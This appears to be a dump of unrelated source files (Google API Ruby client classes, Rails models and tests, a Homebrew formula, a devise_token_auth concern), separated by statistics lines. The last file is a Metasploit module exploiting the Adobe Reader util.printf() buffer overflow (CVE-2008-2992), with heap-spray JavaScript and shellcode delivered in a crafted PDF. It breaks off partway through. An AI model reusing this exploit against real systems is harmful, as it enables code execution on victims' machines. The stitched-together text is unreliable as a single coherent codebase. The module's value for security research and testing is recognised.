# begin with a lowercase letter and may only contain lowercase letters, numeric
# characters, underscores, and dashes.
# Corresponds to the JSON property `labels`
# @return [Hash<String,String>]
attr_accessor :labels
# MavenRepositoryConfig is maven related repository details. Provides additional
# configuration details for repositories of the maven format type.
# Corresponds to the JSON property `mavenConfig`
# @return [Google::Apis::ArtifactregistryV1beta2::MavenRepositoryConfig]
attr_accessor :maven_config
# The name of the repository, for example: "projects/p1/locations/us-central1/
# repositories/repo1".
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# The time when the repository was last updated.
# Corresponds to the JSON property `updateTime`
# @return [String]
attr_accessor :update_time
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@create_time = args[:create_time] if args.key?(:create_time)
@description = args[:description] if args.key?(:description)
@format = args[:format] if args.key?(:format)
@kms_key_name = args[:kms_key_name] if args.key?(:kms_key_name)
@labels = args[:labels] if args.key?(:labels)
@maven_config = args[:maven_config] if args.key?(:maven_config)
@name = args[:name] if args.key?(:name)
@update_time = args[:update_time] if args.key?(:update_time)
end
end
# Request message for `SetIamPolicy` method.
class SetIamPolicyRequest
include Google::Apis::Core::Hashable
# An Identity and Access Management (IAM) policy, which specifies access
# controls for Google Cloud resources. A `Policy` is a collection of `bindings`.
# A `binding` binds one or more `members`, or principals, to a single `role`.
# Principals can be user accounts, service accounts, Google groups, and domains (
# such as G Suite). A `role` is a named list of permissions; each `role` can be
# an IAM predefined role or a user-created custom role. For some types of Google
# Cloud resources, a `binding` can also specify a `condition`, which is a
# logical expression that allows access to a resource only if the expression
# evaluates to `true`. A condition can add constraints based on attributes of
# the request, the resource, or both. To learn which resources support
# conditions in their IAM policies, see the [IAM documentation](https://cloud.
# google.com/iam/help/conditions/resource-policies). **JSON example:** ` "
# bindings": [ ` "role": "roles/resourcemanager.organizationAdmin", "members": [
# "user:mike@example.com", "group:admins@example.com", "domain:google.com", "
# serviceAccount:my-project-id@appspot.gserviceaccount.com" ] `, ` "role": "
# roles/resourcemanager.organizationViewer", "members": [ "user:eve@example.com"
# ], "condition": ` "title": "expirable access", "description": "Does not grant
# access after Sep 2020", "expression": "request.time < timestamp('2020-10-01T00:
# 00:00.000Z')", ` ` ], "etag": "BwWWja0YfJA=", "version": 3 ` **YAML example:**
# bindings: - members: - user:mike@example.com - group:admins@example.com -
# domain:google.com - serviceAccount:my-project-id@appspot.gserviceaccount.com
# role: roles/resourcemanager.organizationAdmin - members: - user:eve@example.
# com role: roles/resourcemanager.organizationViewer condition: title: expirable
# access description: Does not grant access after Sep 2020 expression: request.
# time < timestamp('2020-10-01T00:00:00.000Z') etag: BwWWja0YfJA= version: 3 For
# a description of IAM and its features, see the [IAM documentation](https://
# cloud.google.com/iam/docs/).
# Corresponds to the JSON property `policy`
# @return [Google::Apis::ArtifactregistryV1beta2::Policy]
attr_accessor :policy
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@policy = args[:policy] if args.key?(:policy)
end
end
# The `Status` type defines a logical error model that is suitable for different
# programming environments, including REST APIs and RPC APIs. It is used by [
# gRPC](https://github.com/grpc). Each `Status` message contains three pieces of
# data: error code, error message, and error details. You can find out more
# about this error model and how to work with it in the [API Design Guide](https:
# //cloud.google.com/apis/design/errors).
class Status
include Google::Apis::Core::Hashable
# The status code, which should be an enum value of google.rpc.Code.
# Corresponds to the JSON property `code`
# @return [Fixnum]
attr_accessor :code
# A list of messages that carry the error details. There is a common set of
# message types for APIs to use.
# Corresponds to the JSON property `details`
# @return [Array<Hash<String,Object>>]
attr_accessor :details
# A developer-facing error message, which should be in English. Any user-facing
# error message should be localized and sent in the google.rpc.Status.details
# field, or localized by the client.
# Corresponds to the JSON property `message`
# @return [String]
attr_accessor :message
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@code = args[:code] if args.key?(:code)
@details = args[:details] if args.key?(:details)
@message = args[:message] if args.key?(:message)
end
end
# Tags point to a version and represent an alternative name that can be used to
# access the version.
class Tag
include Google::Apis::Core::Hashable
# The name of the tag, for example: "projects/p1/locations/us-central1/
# repositories/repo1/packages/pkg1/tags/tag1". If the package part contains
# slashes, the slashes are escaped. The tag part can only have characters in [a-
# zA-Z0-9\-._~:@], anything else must be URL encoded.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# The name of the version the tag refers to, for example: "projects/p1/locations/
# us-central1/repositories/repo1/packages/pkg1/versions/sha256:5243811" If the
# package or version ID parts contain slashes, the slashes are escaped.
# Corresponds to the JSON property `version`
# @return [String]
attr_accessor :version
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@name = args[:name] if args.key?(:name)
@version = args[:version] if args.key?(:version)
end
end
# Request message for `TestIamPermissions` method.
class TestIamPermissionsRequest
include Google::Apis::Core::Hashable
# The set of permissions to check for the `resource`. Permissions with wildcards
# (such as '*' or 'storage.*') are not allowed. For more information see [IAM
# Overview](https://cloud.google.com/iam/docs/overview#permissions).
# Corresponds to the JSON property `permissions`
# @return [Array<String>]
attr_accessor :permissions
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@permissions = args[:permissions] if args.key?(:permissions)
end
end
# Response message for `TestIamPermissions` method.
class TestIamPermissionsResponse
include Google::Apis::Core::Hashable
# A subset of `TestPermissionsRequest.permissions` that the caller is allowed.
# Corresponds to the JSON property `permissions`
# @return [Array<String>]
attr_accessor :permissions
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@permissions = args[:permissions] if args.key?(:permissions)
end
end
# The response to upload an artifact.
class UploadAptArtifactMediaResponse
include Google::Apis::Core::Hashable
# This resource represents a long-running operation that is the result of a
# network API call.
# Corresponds to the JSON property `operation`
# @return [Google::Apis::ArtifactregistryV1beta2::Operation]
attr_accessor :operation
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@operation = args[:operation] if args.key?(:operation)
end
end
# The request to upload an artifact.
class UploadAptArtifactRequest
include Google::Apis::Core::Hashable
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
end
end
# The response of the completed artifact upload operation. This response is
# contained in the Operation and available to users.
class UploadAptArtifactResponse
include Google::Apis::Core::Hashable
# The Apt artifacts updated.
# Corresponds to the JSON property `aptArtifacts`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::AptArtifact>]
attr_accessor :apt_artifacts
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@apt_artifacts = args[:apt_artifacts] if args.key?(:apt_artifacts)
end
end
# The response to upload an artifact.
class UploadYumArtifactMediaResponse
include Google::Apis::Core::Hashable
# This resource represents a long-running operation that is the result of a
# network API call.
# Corresponds to the JSON property `operation`
# @return [Google::Apis::ArtifactregistryV1beta2::Operation]
attr_accessor :operation
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@operation = args[:operation] if args.key?(:operation)
end
end
# The request to upload an artifact.
class UploadYumArtifactRequest
include Google::Apis::Core::Hashable
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
end
end
# The response of the completed artifact upload operation. This response is
# contained in the Operation and available to users.
class UploadYumArtifactResponse
include Google::Apis::Core::Hashable
# The Apt artifacts updated.
# Corresponds to the JSON property `yumArtifacts`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::YumArtifact>]
attr_accessor :yum_artifacts
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@yum_artifacts = args[:yum_artifacts] if args.key?(:yum_artifacts)
end
end
# The body of a version resource. A version resource represents a collection of
# components, such as files and other data. This may correspond to a version in
# many package management schemes.
class Version
include Google::Apis::Core::Hashable
# The time when the version was created.
# Corresponds to the JSON property `createTime`
# @return [String]
attr_accessor :create_time
# Optional. Description of the version, as specified in its metadata.
# Corresponds to the JSON property `description`
# @return [String]
attr_accessor :description
# Output only. Repository-specific Metadata stored against this version. The
# fields returned are defined by the underlying repository-specific resource.
# Currently, the only resource in use is DockerImage
# Corresponds to the JSON property `metadata`
# @return [Hash<String,Object>]
attr_accessor :metadata
# The name of the version, for example: "projects/p1/locations/us-central1/
# repositories/repo1/packages/pkg1/versions/art1". If the package or version ID
# parts contain slashes, the slashes are escaped.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# Output only. A list of related tags. Will contain up to 100 tags that
# reference this version.
# Corresponds to the JSON property `relatedTags`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::Tag>]
attr_accessor :related_tags
# The time when the version was last updated.
# Corresponds to the JSON property `updateTime`
# @return [String]
attr_accessor :update_time
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@create_time = args[:create_time] if args.key?(:create_time)
@description = args[:description] if args.key?(:description)
@metadata = args[:metadata] if args.key?(:metadata)
@name = args[:name] if args.key?(:name)
@related_tags = args[:related_tags] if args.key?(:related_tags)
@update_time = args[:update_time] if args.key?(:update_time)
end
end
# A detailed representation of a Yum artifact.
class YumArtifact
include Google::Apis::Core::Hashable
# Output only. Operating system architecture of the artifact.
# Corresponds to the JSON property `architecture`
# @return [String]
attr_accessor :architecture
# Output only. The Artifact Registry resource name of the artifact.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# Output only. The yum package name of the artifact.
# Corresponds to the JSON property `packageName`
# @return [String]
attr_accessor :package_name
# Output only. An artifact is a binary or source package.
# Corresponds to the JSON property `packageType`
# @return [String]
attr_accessor :package_type
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@architecture = args[:architecture] if args.key?(:architecture)
@name = args[:name] if args.key?(:name)
@package_name = args[:package_name] if args.key?(:package_name)
@package_type = args[:package_type] if args.key?(:package_type)
end
end
end
end
end
| 42.515217
| 112
| 0.629272
|
e845f1dc7db840112ee08a7578af981bdcfa7c48
| 1,158
|
# == Schema Information
#
# Table name: documents
#
# id :integer not null, primary key
# title :text not null
# filename :text not null
# date :date not null
# type :string(255) not null
# is_public :boolean default(FALSE), not null
# event_id :integer
# language_id :integer
# elib_legacy_id :integer
# created_by_id :integer
# updated_by_id :integer
# created_at :datetime not null
# updated_at :datetime not null
# sort_index :integer
# primary_language_document_id :integer
# elib_legacy_file_name :text
# original_id :integer
# discussion_id :integer
# discussion_sort_index :integer
# designation_id :integer
#
class Document::VirtualCollege < Document
def self.display_name
'Other identification materials'
end
end
| 36.1875
| 74
| 0.48532
|
116b2c74f52d9e2a1f42f58a5ea9e6de11a1bfeb
| 179
|
# Generated via
# `rails generate hyrax:work Resolution`
module Hyrax
class ResolutionPresenter < Hyrax::WorkShowPresenter
include Hyrax::LegalDocumentsPresenter
end
end
| 22.375
| 54
| 0.793296
|
eda383f324131f9a58410a3dc78030ca163c6802
| 794
|
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'coveralls'
Coveralls.wear!
require 'byebug'
require 'pry-byebug'
require 'activemodel/associations'
ActiveModel::Associations::Hooks.init
ActiveRecord::Base.establish_connection(
adapter: "sqlite3",
database: ":memory:"
)
# Test Class
class User < ActiveRecord::Base; end
ActiveRecord::Migration.verbose = false
ActiveRecord::Migrator.migrate File.expand_path("../db/migrate", __FILE__), nil
require 'database_cleaner'
RSpec.configure do |config|
config.order = :random
config.before(:suite) do
DatabaseCleaner.strategy = :transaction
DatabaseCleaner.clean_with(:truncation)
end
config.before(:each) do
DatabaseCleaner.start
end
config.after(:each) do
DatabaseCleaner.clean
end
end
| 19.85
| 79
| 0.74937
|
acfb77fb3a92eba91222f139b2a94cb6e7af53f6
| 1,217
|
require 'test_helper'
module Downloads
class TumblrTest < ActiveSupport::TestCase
context "a download for a tumblr 500 sample" do
setup do
@source = "http://24.media.tumblr.com/fc328250915434e66e8e6a92773f79d0/tumblr_mf4nshfibc1s0oswoo1_500.jpg"
@tempfile = Tempfile.new("danbooru-test")
@download = Downloads::File.new(@source, @tempfile.path)
@download.download!
end
should "instead change the source to the 1280 version" do
assert_equal("http://24.media.tumblr.com/fc328250915434e66e8e6a92773f79d0/tumblr_mf4nshfibc1s0oswoo1_1280.jpg", @download.source)
end
should "instead download the 1280 version" do
assert_equal(196_617, ::File.size(@tempfile.path))
end
end
context "a download for a tumblr 500 image without a larger size" do
setup do
@source = "http://25.media.tumblr.com/tumblr_lxbzel2H5y1r9yjhso1_500.jpg"
@tempfile = Tempfile.new("danbooru-test")
@download = Downloads::File.new(@source, @tempfile.path)
@download.download!
end
should "download the 500 version" do
assert_equal(90_122, ::File.size(@tempfile.path))
end
end
end
end
| 33.805556
| 137
| 0.682005
|
1da03e0ed25b81d705c2be1098dca70ae29253b9
| 460
|
class V8::Conversion
module Method
include V8::Conversion::Code
def to_v8
template = @@method_cache[self] ||= to_template
template.GetFunction()
end
class MethodCache
def initialize
@map = Ref::WeakValueMap.new
end
def [](method)
@map[method.to_s]
end
def []=(method, template)
@map[method.to_s] = template
end
end
@@method_cache = MethodCache.new
end
end
| 17.692308
| 53
| 0.58913
|
ff53ef009ec76fd4a19a0348b763036e10fe237a
| 942
|
Deface::Override.new(:virtual_path => "spree/user_registrations/new",
:name => "add_socials_to_login_extras",
:insert_after => "[data-hook='login_extras']",
:text => %q(<%= render :partial => 'spree/shared/social' unless session[:omniauth] %>),
:disabled => false)
Deface::Override.new(:virtual_path => "spree/user_sessions/new",
:name => "add_socials_to_login_extras",
:insert_after => "[data-hook='login_extras']",
:partial => "spree/shared/social",
:disabled => false)
Deface::Override.new(:virtual_path => "spree/user_registrations/new",
:name => "remove_new_customer_if_sessionomniauth",
:replace => "div#new-customer h6",
:partial => "spree/users/new-customer",
:disabled => false)
| 52.333333
| 108
| 0.528662
|
7a32fe9cb162e77f2b97cc70598f08d889b14b47
| 911
|
require_relative 'boot'
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_view/railtie"
require "action_cable/engine"
require "sprockets/railtie"
# require "rails/test_unit/railtie"
Bundler.require(*Rails.groups)
require "paxful_engine"
module Dummy
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.2
# Settings in config/environments/* take precedence over those specified here.
# Application configuration can go into files in config/initializers
# -- all .rb files in that directory are automatically loaded after loading
# the framework and any gems in your application.
end
end
| 29.387097
| 82
| 0.789243
|
6af7bb04eb89f34b04b2c8e9b20bff7fb489fba7
| 190
|
class AddEmailToInvitations < ActiveRecord::Migration[4.2]
def self.up
add_column :invitations, :email, :string
end
def self.down
remove_column :invitations, :email
end
end
| 19
| 58
| 0.731579
|
7a905a9a15d8772f639adba8e747de0f09856577
| 319
|
# frozen_string_literal: true
class FetchTweetsService
include Service
require 'net/http'
require 'json'
attr_accessor :zones
KEYWORDS = %w[coronavirus covid]
def call
Twitter::Search.perform(
q: "#{KEYWORDS.join(',')},#{zones}",
count: '20',
result_type: 'mixed'
)
end
end
| 16.789474
| 42
| 0.639498
|
bb75b2fe369382b71ba5fd23e49c9a48f721aed1
| 539
|
# Read about factories at https://github.com/thoughtbot/factory_bot
FactoryBot.define do
factory :performer do
name { Faker::Name.name }
description { Faker::Lorem.sentence }
trait(:with_shows) do
after(:create) do |performer|
create_list(:show, 2, performers: [performer])
end
end
trait(:with_performances) do
after(:create) do |performer|
show = create(:show, performers: [performer])
performances = create_list(:performance, 10, show: show)
end
end
end
end
| 24.5
| 67
| 0.653061
|
abc7a0f7402df44a14945e11f14f0241f87407fd
| 2,785
|
class Poppler < Formula
desc "PDF rendering library (based on the xpdf-3.0 code base)"
homepage "https://poppler.freedesktop.org/"
url "https://poppler.freedesktop.org/poppler-21.07.0.tar.xz"
sha256 "e26ab29f68065de4d6562f0a3e2b5435a83ca92be573b99a1c81998fa286a4d4"
license "GPL-2.0-only"
revision 1
head "https://gitlab.freedesktop.org/poppler/poppler.git"
livecheck do
url :homepage
regex(/href=.*?poppler[._-]v?(\d+(?:\.\d+)+)\.t/i)
end
bottle do
sha256 arm64_big_sur: "b1f809972b45ccb9451754583498c029c18185a04c0b7644dfb265d4dc7237e4"
sha256 big_sur: "56b7a19df93c1d6ce76d82950b031bcbaec2e7befa8a6fd4d89f716c8d6b30cc"
sha256 catalina: "5b60064c0a5a632c422eccfc20e8f6a41ffda225e8ea0d16e9d5e218bcbbc76f"
sha256 mojave: "c284411dcbecfc39f87da71ee4f37d92543702438dceef3d383f27e764fcfc66"
end
depends_on "cmake" => :build
depends_on "gobject-introspection" => :build
depends_on "pkg-config" => :build
depends_on "cairo"
depends_on "fontconfig"
depends_on "freetype"
depends_on "gettext"
depends_on "glib"
depends_on "jpeg"
depends_on "libpng"
depends_on "libtiff"
depends_on "little-cms2"
depends_on "nss"
depends_on "openjpeg"
depends_on "qt"
uses_from_macos "gperf" => :build
uses_from_macos "curl"
conflicts_with "pdftohtml", "pdf2image", "xpdf",
because: "poppler, pdftohtml, pdf2image, and xpdf install conflicting executables"
resource "font-data" do
url "https://poppler.freedesktop.org/poppler-data-0.4.10.tar.gz"
sha256 "6e2fcef66ec8c44625f94292ccf8af9f1d918b410d5aa69c274ce67387967b30"
end
def install
ENV.cxx11
args = std_cmake_args + %w[
-DBUILD_GTK_TESTS=OFF
-DENABLE_BOOST=OFF
-DENABLE_CMS=lcms2
-DENABLE_GLIB=ON
-DENABLE_QT5=OFF
-DENABLE_QT6=ON
-DENABLE_UNSTABLE_API_ABI_HEADERS=ON
-DWITH_GObjectIntrospection=ON
]
system "cmake", ".", *args
system "make", "install"
system "make", "clean"
system "cmake", ".", "-DBUILD_SHARED_LIBS=OFF", *args
system "make"
lib.install "libpoppler.a"
lib.install "cpp/libpoppler-cpp.a"
lib.install "glib/libpoppler-glib.a"
resource("font-data").stage do
system "make", "install", "prefix=#{prefix}"
end
on_macos do
libpoppler = (lib/"libpoppler.dylib").readlink
[
"#{lib}/libpoppler-cpp.dylib",
"#{lib}/libpoppler-glib.dylib",
"#{lib}/libpoppler-qt#{Formula["qt"].version.major}.dylib",
*Dir["#{bin}/*"],
].each do |f|
macho = MachO.open(f)
macho.change_dylib("@rpath/#{libpoppler}", "#{opt_lib}/#{libpoppler}")
macho.write!
end
end
end
test do
system "#{bin}/pdfinfo", test_fixtures("test.pdf")
end
end
| 29.62766
| 92
| 0.685817
|
d588e20cb1133c1b409f6476be1b62a5852301bc
| 1,757
|
require_relative '../../test/helpers/mongo_support'
require_relative '../../lib/armagh/logging/alert'
require 'test/unit/assertions'
And(/^I should see a Document in "([^"]*)" with the following$/) do |collection, table|
result = MongoSupport.instance.find_document(collection, table.rows_hash)
assert_not_empty result
end
Then(/the alerts count( for the "([^"]*)" (workflow|action)){0,1} should be (.*)$/) do |_constraint, constraint_name, constraint_type, expected_alerts_count|
workflow = nil
action = nil
case constraint_type
when 'workflow' then workflow = constraint_name
when 'action' then action = constraint_name
end
actual_alerts_count = Armagh::Logging::Alert.get_counts( workflow: workflow , action: action )
assert_equal eval(expected_alerts_count), actual_alerts_count
p Armagh::Logging::Alert.get
end
Then(/the alerts messages( for the "([^"]*)" (workflow|action)){0,1} should be (.*)$/) do |_constraint, constraint_name, constraint_type, expected_alerts_messages|
workflow = nil
action = nil
case constraint_type
when 'workflow' then workflow = constraint_name
when 'action' then action = constraint_name
end
actual_alerts = Armagh::Logging::Alert.get( workflow: workflow , action: action )
actual_alerts_messages = actual_alerts.collect{ |a| a['full_message'] }
assert_equal eval(expected_alerts_messages), actual_alerts_messages
end
When(/the administrator clears the alerts for the "([^"]*)" (workflow|action)$/) do |constraint_name, constraint_type|
workflow = nil
action = nil
case constraint_type
when 'workflow' then workflow = constraint_name
when 'action' then action = constraint_name
end
Armagh::Logging::Alert.clear( workflow: workflow , action: action )
end
| 40.860465
| 163
| 0.742743
|
e894c9616043a5b24659ad6047ca841f7abe1042
| 403
|
# frozen_string_literal: true
module FmRest
module TokenStore
class Base
attr_reader :options
def initialize(options = {})
@options = options
end
def load(key)
raise NotImplementedError
end
def store(key, value)
raise NotImplementedError
end
def delete(key)
raise NotImplementedError
end
end
end
end
| 15.5
| 34
| 0.60794
|
1a87524b3dcd5dffd5a88c7640805d73712d3954
| 8,190
|
# frozen_string_literal: true
module DeviseTokenAuth::Concerns::User
extend ActiveSupport::Concern
def self.tokens_match?(token_hash, token)
@token_equality_cache ||= {}
key = "#{token_hash}/#{token}"
result = @token_equality_cache[key] ||= DeviseTokenAuth::TokenFactory.token_hash_is_token?(token_hash, token)
@token_equality_cache = {} if @token_equality_cache.size > 10000
result
end
included do
# Hack to check if devise is already enabled
if method_defined?(:devise_modules)
devise_modules.delete(:omniauthable)
else
devise :database_authenticatable, :registerable,
:recoverable, :validatable, :confirmable
end
if const_defined?('ActiveRecord') && ancestors.include?(ActiveRecord::Base)
include DeviseTokenAuth::Concerns::ActiveRecordSupport
end
if const_defined?('Mongoid') && ancestors.include?(Mongoid::Document)
include DeviseTokenAuth::Concerns::MongoidSupport
end
if DeviseTokenAuth.default_callbacks
include DeviseTokenAuth::Concerns::UserOmniauthCallbacks
end
# get rid of dead tokens
before_save :destroy_expired_tokens
# remove old tokens if password has changed
before_save :remove_tokens_after_password_reset
# don't use default devise email validation
def email_required?; false; end
def email_changed?; false; end
def will_save_change_to_email?; false; end
if DeviseTokenAuth.send_confirmation_email && devise_modules.include?(:confirmable)
include DeviseTokenAuth::Concerns::ConfirmableSupport
end
def password_required?
return false unless provider == 'email'
super
end
# override devise method to include additional info as opts hash
def send_confirmation_instructions(opts = {})
generate_confirmation_token! unless @raw_confirmation_token
# fall back to "default" config name
opts[:client_config] ||= 'default'
opts[:to] = unconfirmed_email if pending_reconfirmation?
opts[:redirect_url] ||= DeviseTokenAuth.default_confirm_success_url
send_devise_notification(:confirmation_instructions, @raw_confirmation_token, opts)
end
# override devise method to include additional info as opts hash
def send_reset_password_instructions(opts = {})
token = set_reset_password_token
# fall back to "default" config name
opts[:client_config] ||= 'default'
send_devise_notification(:reset_password_instructions, token, opts)
token
end
# override devise method to include additional info as opts hash
def send_unlock_instructions(opts = {})
raw, enc = Devise.token_generator.generate(self.class, :unlock_token)
self.unlock_token = enc
save(validate: false)
# fall back to "default" config name
opts[:client_config] ||= 'default'
send_devise_notification(:unlock_instructions, raw, opts)
raw
end
def create_token(client: nil, lifespan: nil, cost: nil, **token_extras)
token = DeviseTokenAuth::TokenFactory.create(client: client, lifespan: lifespan, cost: cost)
tokens[token.client] = {
token: token.token_hash,
expiry: token.expiry
}.merge!(token_extras)
clean_old_tokens
token
end
end
def valid_token?(token, client = 'default')
return false unless tokens[client]
return true if token_is_current?(token, client)
return true if token_can_be_reused?(token, client)
# return false if none of the above conditions are met
false
end
# this must be done from the controller so that additional params
# can be passed on from the client
def send_confirmation_notification?; false; end
def token_is_current?(token, client)
# ghetto HashWithIndifferentAccess
expiry = tokens[client]['expiry'] || tokens[client][:expiry]
token_hash = tokens[client]['token'] || tokens[client][:token]
return true if (
# ensure that expiry and token are set
expiry && token &&
# ensure that the token has not yet expired
DateTime.strptime(expiry.to_s, '%s') > Time.zone.now &&
# ensure that the token is valid
DeviseTokenAuth::Concerns::User.tokens_match?(token_hash, token)
)
end
# allow batch requests to use the previous token
def token_can_be_reused?(token, client)
# ghetto HashWithIndifferentAccess
updated_at = tokens[client]['updated_at'] || tokens[client][:updated_at]
last_token_hash = tokens[client]['last_token'] || tokens[client][:last_token]
return true if (
# ensure that the last token and its creation time exist
updated_at && last_token_hash &&
# ensure that previous token falls within the batch buffer throttle time of the last request
updated_at.to_time > Time.zone.now - DeviseTokenAuth.batch_request_buffer_throttle &&
# ensure that the token is valid
DeviseTokenAuth::TokenFactory.token_hash_is_token?(last_token_hash, token)
)
end
# update user's auth token (should happen on each request)
def create_new_auth_token(client = nil)
now = Time.zone.now
token = create_token(
client: client,
last_token: tokens.fetch(client, {})['token'],
updated_at: now
)
update_auth_header(token.token, token.client)
end
def build_auth_header(token, client = 'default')
# client may use expiry to prevent validation request if expired
# must be cast as string or headers will break
expiry = tokens[client]['expiry'] || tokens[client][:expiry]
{
DeviseTokenAuth.headers_names[:"access-token"] => token,
DeviseTokenAuth.headers_names[:"token-type"] => 'Bearer',
DeviseTokenAuth.headers_names[:"client"] => client,
DeviseTokenAuth.headers_names[:"expiry"] => expiry.to_s,
DeviseTokenAuth.headers_names[:"uid"] => uid
}
end
def update_auth_header(token, client = 'default')
headers = build_auth_header(token, client)
clean_old_tokens
save!
headers
end
def build_auth_url(base_url, args)
args[:uid] = uid
args[:expiry] = tokens[args[:client_id]]['expiry']
DeviseTokenAuth::Url.generate(base_url, args)
end
def extend_batch_buffer(token, client)
tokens[client]['updated_at'] = Time.zone.now
update_auth_header(token, client)
end
def confirmed?
devise_modules.exclude?(:confirmable) || super
end
def token_validation_response
as_json(except: %i[tokens created_at updated_at])
end
protected
def destroy_expired_tokens
if tokens
tokens.delete_if do |cid, v|
expiry = v[:expiry] || v['expiry']
DateTime.strptime(expiry.to_s, '%s') < Time.zone.now
end
end
end
def should_remove_tokens_after_password_reset?
if Rails::VERSION::MAJOR <= 5 ||defined?('Mongoid')
encrypted_password_changed? &&
DeviseTokenAuth.remove_tokens_after_password_reset
else
saved_change_to_attribute?(:encrypted_password) &&
DeviseTokenAuth.remove_tokens_after_password_reset
end
end
def remove_tokens_after_password_reset
return unless should_remove_tokens_after_password_reset?
if tokens.present? && tokens.many?
client, token_data = tokens.max_by { |cid, v| v[:expiry] || v['expiry'] }
self.tokens = { client => token_data }
end
end
def max_client_tokens_exceeded?
tokens.length > DeviseTokenAuth.max_number_of_devices
end
def clean_old_tokens
if tokens.present? && max_client_tokens_exceeded?
# Using Enumerable#sort_by on a Hash will typecast it into an associative
# Array (i.e. an Array of key-value Array pairs). However, since Hashes
# have an internal order in Ruby 1.9+, the resulting sorted associative
# Array can be converted back into a Hash, while maintaining the sorted
# order.
self.tokens = tokens.sort_by { |_cid, v| v[:expiry] || v['expiry'] }.to_h
# Since the tokens are sorted by expiry, shift the oldest client token
# off the Hash until it no longer exceeds the maximum number of clients
tokens.shift while max_client_tokens_exceeded?
end
end
end
| 31.744186
| 113
| 0.701343
|
61a08cd261b6a66bbd4eea690fc128f9c5ef6da7
| 5,217
|
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe util.printf() Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
entry, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-2992' ],
[ 'OSVDB', '49520' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
],
'DisclosureDate' => 'Feb 8 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Make some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize variables
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
rand9 = rand_text_alpha(rand(100) + 1)
rand10 = rand_text_alpha(rand(100) + 1)
rand11 = rand_text_alpha(rand(100) + 1)
script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} ="";
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
#{rand4} = #{rand2} + #{rand1};
#{rand5} = unescape("#{nops}");
#{rand6} = 20;
#{rand7} = #{rand6}+#{rand4}.length
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
#{rand8} = #{rand5}.substring(0, #{rand7});
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
#{rand10} = new Array();
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
util.printf("%45000.45000f", 0);
|
# Create the pdf
pdf = make_pdf(script)
print_status("Sending #{self.name}")
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
handler(cli)
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js)
xref = []
